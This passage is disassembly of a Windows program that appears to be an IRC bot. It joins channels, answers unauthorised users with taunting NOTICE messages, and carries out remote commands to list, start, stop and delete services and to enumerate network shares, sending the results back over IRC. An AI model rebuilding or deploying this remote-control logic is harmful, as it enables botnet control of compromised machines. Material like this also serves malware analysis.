%s\r\n" push dword ptr [ebp+0Ch] call sub_40F9AB lea eax, [ebp-564h] push eax push offset dword_42CDFC call sub_408E8B loc_40F7CF: ; CODE XREF: .nsp0:0040C9FCj add esp, 24h loc_40F7D2: ; CODE XREF: .nsp0:0040A97Cj ; .nsp0:0040A988j ... mov eax, [ebp+2Ch] jmp loc_40A7B7 ; --------------------------------------------------------------------------- loc_40F7DA: ; CODE XREF: .nsp0:0040AA0Bj ; .nsp0:0040AA20j mov esi, [ebp+esi-90h] cmp esi, ebx mov [ebp+8], esi jz loc_40A7B4 cmp [ebp-0A8h], ebx jnz loc_40A7B4 push offset dword_428DB8 push dword ptr [ebp-94h] call sub_413668 mov esi, eax push offset dword_432704 push ebx inc esi call sub_413668 push offset asc_42CDF8 ; "~" push eax call sub_413668 push dword ptr [ebp+8] mov edi, eax push offset aHi ; "hi" call sub_412310 add esp, 20h test eax, eax jz short loc_40F870 lea eax, [ebp-0C4h] push edi push eax lea eax, [ebp-0C4h] push eax push offset aNoticeSNiceTry ; "NOTICE %s :Nice try, idiot. (%s!%s).\r\n" push dword ptr [ebp+0Ch] call sub_40F9AB lea eax, [ebp-0C4h] push eax push offset aNoticeSYouVeBe ; "NOTICE %s :You've been logged.\r\n" push dword ptr [ebp+0Ch] call sub_40F9AB push edi push esi push offset dword_42CD6C jmp short loc_40F8CC ; --------------------------------------------------------------------------- loc_40F870: ; CODE XREF: .nsp0:0040F835j mov dword ptr [ebp+2Ch], offset off_425C1C loc_40F877: ; CODE XREF: .nsp0:0040F893j mov eax, [ebp+2Ch] push edi push dword ptr [eax] call sub_411CF3 pop ecx test eax, eax pop ecx jnz short loc_40F8E0 add dword ptr [ebp+2Ch], 4 cmp dword ptr [ebp+2Ch], offset off_425C20 jl short loc_40F877 lea eax, [ebp-0C4h] push edi push eax lea eax, [ebp-0C4h] push eax push offset aNoticeSNiceTry ; "NOTICE %s :Nice try, idiot. (%s!%s).\r\n" push dword ptr [ebp+0Ch] call sub_40F9AB lea eax, [ebp-0C4h] push eax push offset aNoticeSYouVeBe ; "NOTICE %s :You've been logged.\r\n" push dword ptr [ebp+0Ch] call sub_40F9AB push edi push esi push offset dword_42CD2C loc_40F8CC: ; CODE XREF: .nsp0:0040F86Ej lea eax, [ebp-2C8h] push eax call sub_411EEE add esp, 30h jmp loc_40F75B ; --------------------------------------------------------------------------- loc_40F8E0: ; CODE XREF: .nsp0:0040F886j mov edi, [ebp+20h] xor esi, esi loc_40F8E5: ; CODE XREF: .nsp0:0040F90Fj cmp [ebp+8], ebx jz loc_40A7B4 cmp [edi], bl jnz short loc_40F905 push dword ptr [ebp+8] push offset aHi ; "hi" call sub_412310 pop ecx test eax, eax pop ecx jz short loc_40F916 loc_40F905: ; CODE XREF: .nsp0:0040F8F0j inc esi add edi, 80h cmp esi, 2 jl short loc_40F8E5 jmp loc_40A7B4 ; --------------------------------------------------------------------------- loc_40F916: ; CODE XREF: .nsp0:0040F903j shl esi, 7 add esi, [ebp+20h] lea eax, [ebp-0A94h] push 7Fh push eax push esi call sub_413710 add esp, 0Ch cmp [ebp-8], ebx jnz short loc_40F94D push ebx push dword ptr [ebp-4] push offset dword_42CCF8 push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call sub_40F9F1 add esp, 14h loc_40F94D: ; CODE XREF: .nsp0:0040F931j lea eax, [ebp-0C4h] push eax push offset dword_42CCC4 loc_40F959: ; CODE XREF: .nsp0:0040A8D4j ; .nsp0:0040F30Ej call sub_408E8B pop ecx loc_40F95F: ; CODE XREF: .nsp0:0040C8A3j pop ecx jmp loc_40A7B4 ; --------------------------------------------------------------------------- loc_40F965: ; CODE XREF: .nsp0:0040A547j ; .nsp0:0040A55Cj push dword ptr [ebp+18h] push offset aUserhostS ; "USERHOST %s\r\n" push dword ptr [ebp+0Ch] call sub_40F9AB push offset dword_425BF8 push dword ptr [ebp+18h] push offset aModeSS ; "MODE %s %s\r\n" push dword ptr [ebp+0Ch] call sub_40F9AB push dword ptr [ebp+14h] push dword ptr [ebp+10h] push offset aJoinSS ; "JOIN %s %s\r\n" push dword ptr [ebp+0Ch] call sub_40F9AB add esp, 2Ch mov dword_4620C8, edi jmp loc_40A5D6 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F9AB proc near ; CODE XREF: sub_40A1C1+3Dp ; .nsp0:0040A504p ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 200h lea eax, [ebp+arg_8] push eax lea eax, [ebp+var_200] push [ebp+arg_4] push 200h push eax call sub_413D3F add esp, 10h lea eax, [ebp+var_200] push 0 push eax call sub_4126F0 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_433B18 ; send leave retn sub_40F9AB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F9F1 proc near ; CODE XREF: sub_401000+88p ; .nsp0:004014BDp ... var_400 = byte ptr -400h var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 400h cmp [ebp+arg_C], 0 push esi push edi mov edi, offset aNotice ; "NOTICE" jnz short loc_40FA0C mov edi, offset aPrivmsg ; "PRIVMSG" loc_40FA0C: ; CODE XREF: sub_40F9F1+14j push edi call sub_4126F0 push [ebp+arg_4] mov esi, 1FAh sub esi, eax call sub_4126F0 push [ebp+arg_8] sub esi, eax lea eax, [ebp+var_400] push offset aS_1 ; "%s" push esi push eax call sub_41246A lea eax, [ebp+var_400] push eax lea eax, [ebp+var_200] push [ebp+arg_4] push edi push offset dword_42FD5C push eax call sub_411EEE add esp, 2Ch lea eax, [ebp+var_200] push 0 push eax call sub_4126F0 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_433B18 ; send cmp [ebp+arg_10], 0 pop edi pop esi jz short locret_40FA8A push 7D0h call dword_41D05C ; Sleep locret_40FA8A: ; CODE XREF: sub_40F9F1+8Cj leave retn sub_40F9F1 endp ; =============== S U B R O U T I N E ======================================= sub_40FA8C proc near ; CODE XREF: .nsp0:loc_40BE5Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi push edi mov edi, [esp+8+arg_4] test edi, edi jz short loc_40FAF1 lea esi, [eax+eax*2] push 0 shl esi, 2 push 0 push dword_42FD70[esi] push edi push eax call sub_40FB13 add esp, 14h test eax, eax jnz short loc_40FAD4 push edi push off_42FD6C[esi] mov esi, offset dword_462790 push offset dword_42FEA4 push esi call sub_411EEE add esp, 10h jmp short loc_40FB0E ; --------------------------------------------------------------------------- loc_40FAD4: ; CODE XREF: sub_40FA8C+2Aj push eax call sub_40FBB5 push eax push edi mov esi, offset dword_462790 push offset dword_42FE68 push esi call sub_411EEE add esp, 14h jmp short loc_40FB0E ; --------------------------------------------------------------------------- loc_40FAF1: ; CODE XREF: sub_40FA8C+Cj lea eax, [eax+eax*2] mov esi, offset dword_462790 push off_42FD68[eax*4] push offset dword_42FE30 push esi call sub_411EEE add esp, 0Ch loc_40FB0E: ; CODE XREF: sub_40FA8C+46j ; sub_40FA8C+63j mov eax, esi pop edi pop esi retn sub_40FA8C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40FB13 proc near ; CODE XREF: sub_40FA8C+20p var_1C = byte ptr -1Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 1Ch push ebx push edi xor ebx, ebx push 0F003Fh push ebx push ebx call dword_433ABC ; OpenSCManagerA mov edi, eax cmp edi, ebx jnz short loc_40FB3A call dword_41D06C ; RtlGetLastWin32Error mov ebx, eax jmp short loc_40FBAF ; --------------------------------------------------------------------------- loc_40FB3A: ; CODE XREF: sub_40FB13+1Bj push esi push 0F01FFh push [ebp+arg_4] push edi call dword_4339B0 ; OpenServiceA mov esi, eax cmp esi, ebx jnz short loc_40FB5A call dword_41D06C ; RtlGetLastWin32Error mov ebx, eax jmp short loc_40FBA7 ; --------------------------------------------------------------------------- loc_40FB5A: ; CODE XREF: sub_40FB13+3Bj mov eax, [ebp+arg_0] cmp eax, 1 jz short loc_40FB8D cmp eax, 3 jz short loc_40FB7E jle short loc_40FBA0 cmp eax, 6 jg short loc_40FBA0 lea eax, [ebp+var_1C] push eax push [ebp+arg_8] push esi call dword_433A18 ; ControlService jmp short loc_40FB94 ; --------------------------------------------------------------------------- loc_40FB7E: ; CODE XREF: sub_40FB13+52j push [ebp+arg_10] push [ebp+arg_C] push esi call dword_4339B8 ; StartServiceA jmp short loc_40FB94 ; --------------------------------------------------------------------------- loc_40FB8D: ; CODE XREF: sub_40FB13+4Dj push esi call dword_433A1C ; DeleteService loc_40FB94: ; CODE XREF: sub_40FB13+69j ; sub_40FB13+78j test eax, eax jnz short loc_40FBA0 call dword_41D06C ; RtlGetLastWin32Error mov ebx, eax loc_40FBA0: ; CODE XREF: sub_40FB13+54j ; sub_40FB13+59j ... push esi call dword_4339CC ; CloseServiceHandle loc_40FBA7: ; CODE XREF: sub_40FB13+45j push edi call dword_4339CC ; CloseServiceHandle pop esi loc_40FBAF: ; CODE XREF: sub_40FB13+25j mov eax, ebx pop edi pop ebx leave retn sub_40FB13 endp ; =============== S U B R O U T I N E ======================================= sub_40FBB5 proc near ; CODE XREF: sub_40FA8C+49p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, 420h cmp eax, ecx ja loc_40FC6A jz loc_40FC63 add ecx, 0FFFFFFFBh cmp eax, ecx ja short loc_40FC2D jz short loc_40FC23 mov ecx, eax sub ecx, 3 jz short loc_40FC19 dec ecx dec ecx jz short loc_40FC0F dec ecx jz short loc_40FC05 sub ecx, 51h jz short loc_40FBFB sub ecx, 24h jnz loc_40FCE0 ; default ; jumptable 0040FC87 cases 1,5,6,8,9,12,13,15,16 push offset aTheSpecifiedSe ; "The specified service name is invalid." jmp loc_40FCD2 ; --------------------------------------------------------------------------- loc_40FBFB: ; CODE XREF: sub_40FBB5+31j push offset aTheRequestedCo ; "The requested control code is undefined"... jmp loc_40FCD2 ; --------------------------------------------------------------------------- loc_40FC05: ; CODE XREF: sub_40FBB5+2Cj push offset aTheHandleIsInv ; "The handle is invalid." jmp loc_40FCD2 ; --------------------------------------------------------------------------- loc_40FC0F: ; CODE XREF: sub_40FBB5+29j push offset aTheHandleDoesN ; "The handle does not have the required a"... jmp loc_40FCD2 ; --------------------------------------------------------------------------- loc_40FC19: ; CODE XREF: sub_40FBB5+25j push offset aTheServiceBina ; "The service binary file could not be fo"... jmp loc_40FCD2 ; --------------------------------------------------------------------------- loc_40FC23: ; CODE XREF: sub_40FBB5+1Ej push offset aTheServiceCann ; "The service cannot be stopped because o"... jmp loc_40FCD2 ; --------------------------------------------------------------------------- loc_40FC2D: ; CODE XREF: sub_40FBB5+1Cj mov ecx, eax sub ecx, 41Ch jz short loc_40FC5C dec ecx jz short loc_40FC55 dec ecx jz short loc_40FC4E dec ecx jnz loc_40FCE0 ; default ; jumptable 0040FC87 cases 1,5,6,8,9,12,13,15,16 push offset aTheDatabaseIsL ; "The database is locked." jmp loc_40FCD2 ; --------------------------------------------------------------------------- loc_40FC4E: ; CODE XREF: sub_40FBB5+86j push offset aAThreadCouldNo ; "A thread could not be created for the s"... jmp short loc_40FCD2 ; --------------------------------------------------------------------------- loc_40FC55: ; CODE XREF: sub_40FBB5+83j push offset aTheProcessForT ; "The process for the service was started"... jmp short loc_40FCD2 ; --------------------------------------------------------------------------- loc_40FC5C: ; CODE XREF: sub_40FBB5+80j push offset aTheRequested_0 ; "The requested control code is not valid"... jmp short loc_40FCD2 ; --------------------------------------------------------------------------- loc_40FC63: ; CODE XREF: sub_40FBB5+11j push offset aAnInstanceOfTh ; "An instance of the service is already r"... jmp short loc_40FCD2 ; --------------------------------------------------------------------------- loc_40FC6A: ; CODE XREF: sub_40FBB5+Bj mov ecx, 45Bh cmp eax, ecx ja short loc_40FCE0 ; default ; jumptable 0040FC87 cases 1,5,6,8,9,12,13,15,16 jz short loc_40FCCD lea ecx, [eax-422h] cmp ecx, 11h ; switch 18 cases ja short loc_40FCE0 ; default ; jumptable 0040FC87 cases 1,5,6,8,9,12,13,15,16 movzx ecx, byte_40FD21[ecx] jmp off_40FCF9[ecx*4] ; switch jump loc_40FC8E: ; DATA XREF: .nsp0:off_40FCF9o push offset aTheSpecifiedDa ; jumptable 0040FC87 case 7 jmp short loc_40FCD2 ; --------------------------------------------------------------------------- loc_40FC95: ; CODE XREF: sub_40FBB5+D2j ; DATA XREF: .nsp0:off_40FCF9o push offset aTheServiceDepe ; jumptable 0040FC87 case 17 jmp short loc_40FCD2 ; --------------------------------------------------------------------------- loc_40FC9C: ; CODE XREF: sub_40FBB5+D2j ; DATA XREF: .nsp0:off_40FCF9o push offset aTheServiceDe_0 ; jumptable 0040FC87 case 10 jmp short loc_40FCD2 ; --------------------------------------------------------------------------- loc_40FCA3: ; CODE XREF: sub_40FBB5+D2j ; DATA XREF: .nsp0:off_40FCF9o push offset aTheServiceHasB ; jumptable 0040FC87 case 0 jmp short loc_40FCD2 ; --------------------------------------------------------------------------- loc_40FCAA: ; CODE XREF: sub_40FBB5+D2j ; DATA XREF: .nsp0:off_40FCF9o push offset aTheSpecified_0 ; jumptable 0040FC87 case 2 jmp short loc_40FCD2 ; --------------------------------------------------------------------------- loc_40FCB1: ; CODE XREF: sub_40FBB5+D2j ; DATA XREF: .nsp0:off_40FCF9o push offset aTheServiceCoul ; jumptable 0040FC87 case 11 jmp short loc_40FCD2 ; --------------------------------------------------------------------------- loc_40FCB8: ; CODE XREF: sub_40FBB5+D2j ; DATA XREF: .nsp0:off_40FCF9o push offset aTheServiceHa_0 ; jumptable 0040FC87 case 14 jmp short loc_40FCD2 ; --------------------------------------------------------------------------- loc_40FCBF: ; CODE XREF: sub_40FBB5+D2j ; DATA XREF: .nsp0:off_40FCF9o push offset aTheRequested_1 ; jumptable 0040FC87 case 3 jmp short loc_40FCD2 ; --------------------------------------------------------------------------- loc_40FCC6: ; CODE XREF: sub_40FBB5+D2j ; DATA XREF: .nsp0:off_40FCF9o push offset aTheServiceHasN ; jumptable 0040FC87 case 4 jmp short loc_40FCD2 ; --------------------------------------------------------------------------- loc_40FCCD: ; CODE XREF: sub_40FBB5+BEj push offset aTheSystemIsShu ; "The system is shutting down." loc_40FCD2: ; CODE XREF: sub_40FBB5+41j ; sub_40FBB5+4Bj ... push offset dword_4620D0 call sub_411EEE pop ecx pop ecx jmp short loc_40FCF3 ; --------------------------------------------------------------------------- loc_40FCE0: ; CODE XREF: sub_40FBB5+36j ; sub_40FBB5+89j ... push eax ; default ; jumptable 0040FC87 cases 1,5,6,8,9,12,13,15,16 push offset aAnUnknownError ; "An unknown error occurred: <%ld>" push offset dword_4620D0 call sub_411EEE add esp, 0Ch loc_40FCF3: ; CODE XREF: sub_40FBB5+129j mov eax, offset dword_4620D0 retn sub_40FBB5 endp ; --------------------------------------------------------------------------- off_40FCF9 dd offset loc_40FCA3 ; DATA XREF: sub_40FBB5+D2r dd offset loc_40FCAA ; jump table for switch statement dd offset loc_40FCBF dd offset loc_40FCC6 dd offset loc_40FC8E dd offset loc_40FC9C dd offset loc_40FCB1 dd offset loc_40FCB8 dd offset loc_40FC95 dd offset loc_40FCE0 byte_40FD21 db 0, 9, 1, 2 ; DATA XREF: sub_40FBB5+CBr db 3, 9, 9, 4 ; indirect table for switch statement db 9, 9, 5, 6 db 9, 9, 7, 9 db 9, 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40FD33 proc near ; CODE XREF: .nsp0:0040BE85p var_38C = byte ptr -38Ch var_18C = byte ptr -18Ch var_188 = byte ptr -188h var_24 = byte ptr -24h var_20 = byte ptr -20h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 38Ch push ebx push esi push edi xor ebx, ebx push 0F003Fh push ebx push ebx mov [ebp+var_8], ebx call dword_433ABC ; OpenSCManagerA push ebx mov [ebp+var_C], eax push [ebp+arg_8] push offset aTheFollowingWi ; "The following Windows services are regi"... push [ebp+arg_4] push [ebp+arg_0] call sub_40F9F1 add esp, 14h loc_40FD6B: ; CODE XREF: sub_40FD33+120j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_24] push eax lea eax, [ebp+var_18C] push 168h push eax push 3 push 30h push [ebp+var_C] call dword_433A88 ; EnumServicesStatusA test eax, eax jnz short loc_40FDA5 call dword_41D06C ; RtlGetLastWin32Error cmp eax, 0EAh jnz loc_40FE59 loc_40FDA5: ; CODE XREF: sub_40FD33+5Fj xor edi, edi cmp [ebp+var_4], ebx jle loc_40FE50 lea esi, [ebp+var_188] loc_40FDB6: ; CODE XREF: sub_40FD33+117j mov eax, [esi+8] dec eax jz short loc_40FDFF dec eax jz short loc_40FDF8 dec eax jz short loc_40FDF1 dec eax jz short loc_40FDEA dec eax jz short loc_40FDE3 dec eax jz short loc_40FDDC dec eax jz short loc_40FDD5 push offset aUnknown_1 ; " Unknown" jmp short loc_40FE04 ; --------------------------------------------------------------------------- loc_40FDD5: ; CODE XREF: sub_40FD33+99j push offset aPaused_0 ; " Paused" jmp short loc_40FE04 ; --------------------------------------------------------------------------- loc_40FDDC: ; CODE XREF: sub_40FD33+96j push offset aPausing ; " Pausing" jmp short loc_40FE04 ; --------------------------------------------------------------------------- loc_40FDE3: ; CODE XREF: sub_40FD33+93j push offset aContinuing ; " Continuing" jmp short loc_40FE04 ; --------------------------------------------------------------------------- loc_40FDEA: ; CODE XREF: sub_40FD33+90j push offset aRunning_0 ; " Running" jmp short loc_40FE04 ; --------------------------------------------------------------------------- loc_40FDF1: ; CODE XREF: sub_40FD33+8Dj push offset aStoping ; " Stoping" jmp short loc_40FE04 ; --------------------------------------------------------------------------- loc_40FDF8: ; CODE XREF: sub_40FD33+8Aj push offset aStarting ; " Starting" jmp short loc_40FE04 ; --------------------------------------------------------------------------- loc_40FDFF: ; CODE XREF: sub_40FD33+87j push offset aStopped ; " Stopped" loc_40FE04: ; CODE XREF: sub_40FD33+A0j ; sub_40FD33+A7j ... lea eax, [ebp+var_20] push eax call sub_411EEE pop ecx lea eax, [ebp+var_20] pop ecx push dword ptr [esi] push dword ptr [esi-4] push eax lea eax, [ebp+var_38C] push offset aSSS ; "%s: %s (%s)" push eax call sub_411EEE push 1 lea eax, [ebp+var_38C] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40F9F1 add esp, 28h inc edi add esi, 24h cmp edi, [ebp+var_4] jl loc_40FDB6 loc_40FE50: ; CODE XREF: sub_40FD33+77j cmp [ebp+var_8], ebx jnz loc_40FD6B loc_40FE59: ; CODE XREF: sub_40FD33+6Cj push [ebp+var_C] call dword_4339CC ; CloseServiceHandle xor eax, eax pop edi cmp eax, [ebp+var_4] pop esi pop ebx sbb eax, eax neg eax leave retn sub_40FD33 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40FE70 proc near ; CODE XREF: .nsp0:loc_40BF3Cp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_4] test edi, edi jz loc_40FF09 mov esi, [ebp+arg_0] mov eax, esi sub eax, 0 jz short loc_40FE99 dec eax jnz short loc_40FEE9 push edi push 0 call sub_410042 pop ecx pop ecx jmp short loc_40FEE5 ; --------------------------------------------------------------------------- loc_40FE99: ; CODE XREF: sub_40FE70+18j cmp [ebp+arg_8], 0 jnz short loc_40FED7 push 24h push edi call sub_414140 pop ecx test eax, eax pop ecx jnz short loc_40FED7 push 57h pop eax loc_40FEB0: ; CODE XREF: sub_40FE70+77j push eax call sub_41081A push eax lea eax, [esi+esi*2] push edi mov esi, offset dword_46238C push off_42FD68[eax*4] push offset dword_430474 push esi call sub_411EEE add esp, 18h jmp short loc_40FF29 ; --------------------------------------------------------------------------- loc_40FED7: ; CODE XREF: sub_40FE70+2Dj ; sub_40FE70+3Bj push [ebp+arg_8] push edi push 0 call sub_40FF96 add esp, 0Ch loc_40FEE5: ; CODE XREF: sub_40FE70+27j test eax, eax jnz short loc_40FEB0 loc_40FEE9: ; CODE XREF: sub_40FE70+1Bj lea eax, [esi+esi*2] push edi mov esi, offset dword_46238C push off_42FD6C[eax*4] push offset dword_430444 push esi call sub_411EEE add esp, 10h jmp short loc_40FF29 ; --------------------------------------------------------------------------- loc_40FF09: ; CODE XREF: sub_40FE70+Aj mov eax, [ebp+arg_0] mov esi, offset dword_46238C lea eax, [eax+eax*2] push off_42FD68[eax*4] push offset dword_43040C push esi call sub_411EEE add esp, 0Ch loc_40FF29: ; CODE XREF: sub_40FE70+65j ; sub_40FE70+97j mov eax, esi pop edi pop esi pop ebp retn sub_40FE70 endp ; =============== S U B R O U T I N E ======================================= sub_40FF2F proc near ; CODE XREF: sub_41135F+245p arg_0 = dword ptr 4 arg_C = dword ptr 10h push esi xor esi, esi cmp [esp+4+arg_0], esi jnz short loc_40FF3C xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_40FF3C: ; CODE XREF: sub_40FF2F+7j push ebx push ebp push edi push esi push esi push esi mov edi, dword_41D12C push esi push 0FFFFFFFFh mov ebx, 400h push [esp+24h+arg_0] push ebx push esi call edi ; dword_41D12C test byte_46258C, 1 mov ebp, eax jnz short loc_40FF79 or byte_46258C, 1 lea eax, [ebp+1] push eax call sub_413195 pop ecx mov dword_46232C, eax loc_40FF79: ; CODE XREF: sub_40FF2F+32j push esi push esi push ebp push dword_46232C push 0FFFFFFFFh push [esp+18h+arg_C] push ebx push esi call edi ; dword_41D12C mov eax, dword_46232C pop edi pop ebp pop ebx pop esi retn sub_40FF2F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40FF96 proc near ; CODE XREF: sub_40FE70+6Dp ; .nsp0:0041180Dp ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h push edi push [ebp+arg_0] call sub_410001 push [ebp+arg_4] mov edi, eax call sub_410001 push 24h mov [ebp+var_20], eax push [ebp+arg_4] call sub_414140 push [ebp+arg_8] mov [ebp+var_14], 7Fh neg eax sbb eax, eax and [ebp+var_18], 0 or [ebp+var_10], 0FFFFFFFFh and [ebp+var_C], 0 and eax, 80000000h mov [ebp+var_1C], eax call sub_410001 add esp, 14h mov [ebp+var_8], eax and [ebp+var_4], 0 lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_20] push eax push 2 push edi call dword_4339C8 pop edi leave retn sub_40FF96 endp ; =============== S U B R O U T I N E ======================================= sub_410001 proc near ; CODE XREF: sub_40FF96+Ap ; sub_40FF96+14p ... arg_0 = dword ptr 4 push ebp mov ebp, [esp+4+arg_0] xor eax, eax cmp ebp, eax jnz short loc_41000E pop ebp retn ; --------------------------------------------------------------------------- loc_41000E: ; CODE XREF: sub_410001+9j push ebx push esi mov esi, dword_41D130 push edi push eax push eax push 0FFFFFFFFh push ebp push 1 push eax call esi ; dword_41D130 mov edi, eax lea eax, [edi+edi+2] push eax call sub_413195 pop ecx mov ebx, eax push edi push ebx push 0FFFFFFFFh push ebp push 1 push 0 call esi ; dword_41D130 pop edi mov eax, ebx pop esi pop ebx pop ebp retn sub_410001 endp ; =============== S U B R O U T I N E ======================================= sub_410042 proc near ; CODE XREF: sub_40FE70+20p ; sub_41135F+1BBp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_410001 push [esp+8+arg_4] mov esi, eax call sub_410001 pop ecx pop ecx push 0 push eax push esi call dword_4339A0 pop esi retn sub_410042 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410065 proc near ; CODE XREF: .nsp0:0040BF68p var_210 = byte ptr -210h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 210h push ebx push esi push edi push [ebp+arg_C] call sub_410001 xor esi, esi mov [ebp+var_C], eax push esi mov [ebp+arg_C], esi push [ebp+arg_8] mov [ebp+var_8], esi mov [ebp+var_10], esi push offset aShareNameResou ; "Share name: Resource: "... push [ebp+arg_4] push [ebp+arg_0] call sub_40F9F1 add esp, 18h loc_41009E: ; CODE XREF: sub_410065+10Fj lea eax, [ebp+var_10] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_4] push 0FFFFFFFFh push eax push 1F6h push [ebp+var_C] call dword_433A14 mov ebx, eax cmp ebx, esi jz short loc_410101 cmp ebx, 0EAh jz short loc_410101 push ebx push ebx call sub_41081A pop ecx push eax lea eax, [ebp+var_210] push offset dword_4304D4 push eax call sub_411EEE push esi lea eax, [ebp+var_210] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40F9F1 add esp, 24h jmp short loc_41016E ; --------------------------------------------------------------------------- loc_410101: ; CODE XREF: sub_410065+5Dj ; sub_410065+65j push 1 pop edi cmp [ebp+arg_C], edi jb short loc_410165 mov eax, [ebp+var_4] lea esi, [eax+14h] loc_41010F: ; CODE XREF: sub_410065+FCj push dword ptr [esi+10h] call dword_4339BC ; IsValidSecurityDescriptor test eax, eax mov eax, offset aYes ; "Yes" jnz short loc_410126 mov eax, offset aNo ; "No" loc_410126: ; CODE XREF: sub_410065+BAj push eax lea eax, [ebp+var_210] push dword ptr [esi] push dword ptr [esi+4] push dword ptr [esi-14h] push offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s" push eax call sub_411EEE push 1 lea eax, [ebp+var_210] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40F9F1 add esp, 2Ch add esi, 28h inc edi cmp edi, [ebp+arg_C] jbe short loc_41010F xor esi, esi loc_410165: ; CODE XREF: sub_410065+A2j push [ebp+var_4] call dword_433B58 loc_41016E: ; CODE XREF: sub_410065+9Aj cmp ebx, 0EAh jz loc_41009E xor eax, eax cmp ebx, esi pop edi pop esi setz al pop ebx leave retn sub_410065 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410186 proc near ; CODE XREF: .nsp0:loc_40BFDEp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_4] push esi push edi xor edi, edi cmp ebx, edi jz loc_41022A mov esi, [ebp+arg_0] mov eax, esi sub eax, edi jz short loc_4101C8 dec eax jz short loc_4101BD dec eax jnz short loc_4101E3 push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push ebx push edi call sub_4102CC add esp, 14h jmp short loc_4101DF ; --------------------------------------------------------------------------- loc_4101BD: ; CODE XREF: sub_410186+1Dj push ebx push edi call sub_4102AB pop ecx pop ecx jmp short loc_4101DF ; --------------------------------------------------------------------------- loc_4101C8: ; CODE XREF: sub_410186+1Aj cmp [ebp+arg_8], edi jz short loc_4101DC push [ebp+arg_8] push ebx push edi call sub_410251 add esp, 0Ch jmp short loc_4101DF ; --------------------------------------------------------------------------- loc_4101DC: ; CODE XREF: sub_410186+45j push 57h pop eax loc_4101DF: ; CODE XREF: sub_410186+35j ; sub_410186+40j ... cmp eax, edi jnz short loc_410203 loc_4101E3: ; CODE XREF: sub_410186+20j lea eax, [esi+esi*2] push ebx mov esi, offset dword_462590 push off_42FD6C[eax*4] push offset dword_4305C4 push esi call sub_411EEE add esp, 10h jmp short loc_41024A ; --------------------------------------------------------------------------- loc_410203: ; CODE XREF: sub_410186+5Bj push eax call sub_41081A push eax lea eax, [esi+esi*2] push ebx mov esi, offset dword_462590 push off_42FD68[eax*4] push offset dword_430584 push esi call sub_411EEE add esp, 18h jmp short loc_41024A ; --------------------------------------------------------------------------- loc_41022A: ; CODE XREF: sub_410186+Dj mov eax, [ebp+arg_0] mov esi, offset dword_462590 lea eax, [eax+eax*2] push off_42FD68[eax*4] push offset dword_430548 push esi call sub_411EEE add esp, 0Ch loc_41024A: ; CODE XREF: sub_410186+7Bj ; sub_410186+A2j mov eax, esi pop edi pop esi pop ebx pop ebp retn sub_410186 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410251 proc near ; CODE XREF: sub_410186+4Cp var_24 = dword ptr -24h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 24h and [ebp+var_4], 0 push edi push [ebp+arg_0] call sub_410001 push [ebp+arg_4] mov edi, eax call sub_410001 push [ebp+arg_8] mov [ebp+var_24], eax call sub_410001 add esp, 0Ch mov [ebp+var_20], eax and [ebp+var_14], 0 and [ebp+var_10], 0 push 1 and [ebp+var_8], 0 pop eax 